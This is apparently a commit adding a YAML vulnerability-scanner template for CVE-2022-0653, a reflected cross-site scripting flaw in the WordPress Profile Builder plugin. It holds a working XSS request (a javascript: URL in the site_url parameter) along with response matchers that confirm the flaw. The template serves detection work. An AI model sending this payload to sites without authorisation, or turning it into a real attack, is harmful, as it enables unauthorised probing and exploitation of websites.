Create CVE-2022-0653.yaml

patch-1
Dhiyaneshwaran 2022-02-23 21:43:21 +05:30 committed by GitHub
parent f5cdeac008
commit c0153dc711
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: CVE-2022-0653
info:
name: Reflected Cross-Site Scripting Profile Builder User Profile & User Registration Forms
author: dhiyaneshDk
severity: medium
reference:
- https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/
tags: cve,cve2022,wordpress,xss,wp
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"
matchers-condition: and
matchers:
- type: word
words:
- '<a href="javascript:alert(document.domain);">here</a>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200